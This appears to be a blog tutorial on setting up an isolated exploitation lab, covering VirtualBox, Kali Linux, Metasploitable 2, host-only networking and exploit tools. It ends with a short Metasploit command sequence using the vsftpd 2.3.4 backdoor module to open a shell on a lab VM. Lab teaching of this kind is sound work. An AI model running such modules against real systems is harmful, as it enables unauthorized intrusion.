In the second part of our Exploit 101 series, we will cover how to set up a safe and controlled environment for vulnerability research and exploit development. An exploitation lab is essential for testing security concepts without causing unintended harm.
Why Set Up an Exploitation Lab?
A dedicated lab provides:
- A safe environment to test exploits without damaging real systems.
- A controlled setup to analyze vulnerabilities and develop proof-of-concepts (PoCs).
- Hands-on experience with real-world attack techniques.
1. Choosing the Right Virtualization Software
To create an isolated testing environment, we use virtual machines (VMs):
| Software | Features |
|---|---|
| VirtualBox | Free, open-source, easy to set up |
| VMware Workstation | Paid but powerful with snapshot features |
| KVM/QEMU | Linux-native virtualization for advanced users |
Installing VirtualBox (Example)
On Debian/Ubuntu:
sudo apt update && sudo apt install virtualbox -y
On Arch Linux:
sudo pacman -S virtualbox
2. Selecting the Operating Systems
A good lab should include both vulnerable targets and attacker machines.
Attacker Machine (Kali Linux / Parrot OS)
- Kali Linux (Recommended)
wget https://cdimage.kali.org/kali-linux-rolling.iso - Parrot Security OS
wget https://download.parrot.sh/parrot/iso/5.3/Parrot-security-5.3_x64.iso
Vulnerable Target Machines
| VM | Description |
|---|---|
| Metasploitable 2 | Deliberately vulnerable Linux VM for pentesting |
| Windows 7 with VulnApps | Test Windows exploits in a sandboxed setup |
| Damn Vulnerable Web App (DVWA) | Web application with known vulnerabilities |
| Hack The Box / VulnHub VMs | Real-world challenges for exploit testing |
3. Configuring Network Settings
A safe network setup ensures controlled attacks:
- Host-Only Network – Isolates VMs from the internet while allowing internal communication.
- NAT (Network Address Translation) – VMs have internet access but are hidden from the outside world.
- Bridged Mode – Gives VMs real IPs (use with caution!).
Setting Up a Host-Only Network in VirtualBox
- Open VirtualBox > File > Host Network Manager.
- Create a new host-only network.
- Assign IP range (e.g.,
192.168.56.1/24). - Attach target VMs to this network.
4. Installing Essential Exploitation Tools
Your attacker machine should have the following tools installed:
Metasploit Framework (Exploit Automation)
sudo apt install metasploit-framework -y
msfconsole
GDB (GNU Debugger) for Analyzing Binaries
sudo apt install gdb -y
Pwntools (Python Exploit Development)
pip install pwntools
Radare2 (Reverse Engineering)
sudo apt install radare2 -y
IDA Free / Ghidra (Disassemblers)
- Download IDA Free from hex-rays.com
- Install Ghidra (NSA-developed reverse engineering tool):
wget https://ghidra-sre.org/ghidra_10.3_PUBLIC_20230509.zip unzip ghidra_10.3_PUBLIC_20230509.zip
5. Testing Your Setup
Once your environment is ready, verify:
- Network connectivity: Can the attacker machine communicate with target VMs?
- Exploit testing: Use Metasploit to exploit a test vulnerability.
- Debugging tools: Ensure
gdbandradare2work correctly.
Example: Exploiting Metasploitable 2
Start Metasploit and scan the target:
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.101
exploit
This should open a backdoor shell on the target VM!
Conclusion
By setting up a proper exploitation lab, you can safely research vulnerabilities and test exploits without legal or ethical concerns. In the next part, we will cover Basic Exploit Development Techniques.
Stay tuned for Exploit 101: Part 3 – Introduction to Exploit Development!

0 comments:
Post a Comment